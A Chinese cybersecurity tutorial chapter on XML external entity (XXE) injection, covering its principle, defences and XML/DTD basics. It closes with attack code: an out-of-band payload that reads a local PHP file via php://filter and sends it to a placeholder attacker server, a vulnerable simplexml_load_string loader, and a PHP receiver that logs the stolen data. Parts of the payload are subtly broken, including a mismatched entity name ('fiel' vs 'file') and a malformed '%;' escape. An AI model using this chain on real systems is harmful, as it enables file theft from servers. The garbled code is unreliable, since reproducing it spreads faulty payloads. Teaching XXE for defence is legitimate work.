网络安全从入门到精通(第九章-1) XXE - 实体注入
本文内容:
- XXE
- XML
特别注意:simplexml_load_string的函数,在php中只要有此函数,就可能造成xxe。
1,XXE:
1.什么是xxe:
xxe就是xml外部实体注入。
2.xxe核心:
原理:
攻击者使用关键字SYSTEM,强制xml解析去去访问攻击者指定的资源内容[可以是本地文件,也可以是远程服务器系统上的文件]
条件:
用户能够控制输入。
程序原本要执行的代码,拼接了用户输入的数据,然后去执行。
作用:读取文件,攻击内网。
危害:
读取任意文件、
执行系统命令、
探测内网端口、
攻击内网网站、
3.XXE不足:
很多时候后端语言解析XML后,并不会给输出。
这样就要使用一个类似于接收平台一样的接收器:
步骤:
1.xml负责读取我们想要的内容。
2.php负责接收xml读取的内容,并将内容保存到txt中。
3.txt负责显示读取的内容。
4.XXE防御:
方法一:
使用开发语言提供的禁用外部实体的办法:
php:libxml_disable_entity_loader(true)。
方法二:
过滤用户提交的xml数据。
关键词:不允许出现SYSTEM和PUBUC。
5.XXE扩展:
实体的名称可以随便起。
外部引用支持http、ftp等协议不同的语言支持的协议不同,但存在一些通用协议如:
libxml2: file、http、ftp
php: file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
java: http、https、ftp、file、jar、netdoc、mailto、gopher *
.net: file、http、https、ftp
2,XML:实际上就是存储数据
1.什么是XML?
xml指可扩展标记语言。
xml是一种标记语言,很类似与HTML。
xml的设计宗旨传输数据,而非显示数据。
xml标签没有被预定义,需要自行定义标签。
xml被设计为具有自我描述性。
xml是w3c的推荐标准。
2.特点:
xml是纯文本,本身没有危害,就是一个存储数据的,但是在一些动态语言脚本里边存在一些函数:
如:simplexml_load_string的函数,这个函数就是将xml转化为对象,在php中只要有此函数,就有可能存在XXE。
xml可以自己发明标签[允许定义和文档结构]。
xml无所不在,xml是各种应用程序之家进行数据传输的常用工具,并且在信息存储和描述领域越来越流行。
3.结构:
第一部分是申明,主要定义xml使用版本和使用编码。
第二部分是DTD部分,主要是约束作用,简单的说,给内容部分定规矩。
DTD约束的三种形式:
内部DTD:<!DOCTYPE 根节点 [DTD的代码]>
外部DTD:<!DOCTYPE 根节点 "DTD的地址">
网络DTD:<!DOCTYPE 根节点 PUBLIC "DTD的名称" "DTD的地址">
第三部分是内容。
注意:
定义实体必须是在DTD部分,DTD是定义XML变量,可以实现远程调用。
DTD部分:实体用于定义应用普通文本或特殊字符的快捷方式的变量。
实体:存储数据的变量,实体引用是对实体的引用,实体可在内部或外部进行声明。
4.代码:
1.攻击代码1:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % fiel SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStduy/scms/a/a.php">
<!ENTITY % remote SYSTEM "http://x.x.x.x:xxx/xxe/1.xml">
%remote;
%send;
]>
2.攻击代码2:
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/a/a.php">
<!ENTITY % remote SYSTEM "http://x.x.x.x:xxx/xxe/1.xml">
%remote;
%send;
]>
EOF;
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
3.三个文件源码:
xml:
<!ENTITY % all
"<!ENTITY %; send SYSTEM 'http://x.x.x.x:xxx/xxe/2.php?id=%file;'>"
>
%all;
php:
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
txt:
空白文件,用于写入东西。